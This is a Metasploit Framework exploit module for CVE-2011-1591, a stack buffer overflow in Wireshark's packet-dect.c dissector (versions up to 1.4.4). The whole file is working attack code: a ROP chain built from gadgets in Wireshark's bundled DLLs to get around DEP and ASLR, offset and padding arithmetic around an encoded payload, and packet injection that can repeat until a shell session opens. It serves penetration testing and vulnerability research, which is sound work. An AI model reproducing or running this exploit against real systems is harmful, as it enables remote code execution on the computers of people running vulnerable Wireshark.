##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Capture

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Wireshark <= 1.4.4
				by sending an malicious packet.)
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Paul Makowski',  #Initial discovery
					'sickness',       #proof of concept
					'corelanc0d3r <peter.ve[at]corelan.be>',   #rop exploit + msf module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2011-1591'],
					[ 'OSVDB', '71848'],
					[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
					[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 936,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Win32 Universal (Generic DEP & ASLR Bypass)',
						{
							'OffSet' => 1243,
							'Ret'    => 0x667c484d, #libgnutl pivot - tx Lincoln
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 18 2011',
			'DefaultTarget'  => 0))

		register_options([
			OptBool.new('LOOP', [true,  'Send the packet every X seconds until the job is killed', false]),
			OptInt.new('DELAY', [true,  'This option sets the delay between sent packets', 5])
		], self.class)

		register_advanced_options([
			OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),

		], self.class)

		deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY')
	end

	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def exploit
		check_pcaprub_loaded # Check first

		ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"

		print_status("Preparing payload")

		pivot = [target.ret].pack('V')

		# pvefindaddr rop 'n roll
		# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
		rop_pivot =
		[
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll
			0x618d7d0e,     # RET <- don't count on this one !
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll
			0xFFFFFFFF,     # crash baby !
			0xFFFFFFFF,
			0xFFFFFFFF,
			0xFFFFFFFF,
			0xFFFFFFFF,
			0x618d7d0e,
			0x618d7d0e,
			0x618d7d0e,
			0x618d7d0e,
		].pack("V*")

		rop_gadgets =
		[
			0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]
			junk,
			0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]
			junk,
			junk,
			0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]
			0x00000800,     # size - 0x800 should be more than enough
			0x61c14043,     # POP ESI # RETN    ** [freetype6.dll]
			0x0000009C,
			0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]
			junk,
			junk,
			0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]
			0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]
			0x62d9027c,     #
			0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]
			0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]
			0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]
			0x00000040,     #
			0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]
			0x6536B010,     # RW
			0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll]
			0x618d7d0e,     # RET
			0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll]
			0x618d7d0e,     # RET
			0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]
		].pack("V*")

		pivot = [target.ret].pack('V')

		buffer = rand_text(131)
		buffer << rop_pivot
		buffer << rop_gadgets

		nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

		buffer << nops
		buffer << payload.encoded
		buffer << pivot

		filler = 1500 - buffer.length

		buffer << rand_text(filler)

		pkt = ptype
		pkt << buffer

		print_status("Sending malicious packet")
		open_pcap()

		#handler
		if datastore['LOOP']
			while true
				break if session_created? and datastore['ExitOnSession']
				inject(pkt)
				select(nil,nil,nil,datastore['DELAY'])
			end
		else
			inject(pkt)
		end

		close_pcap
	end
end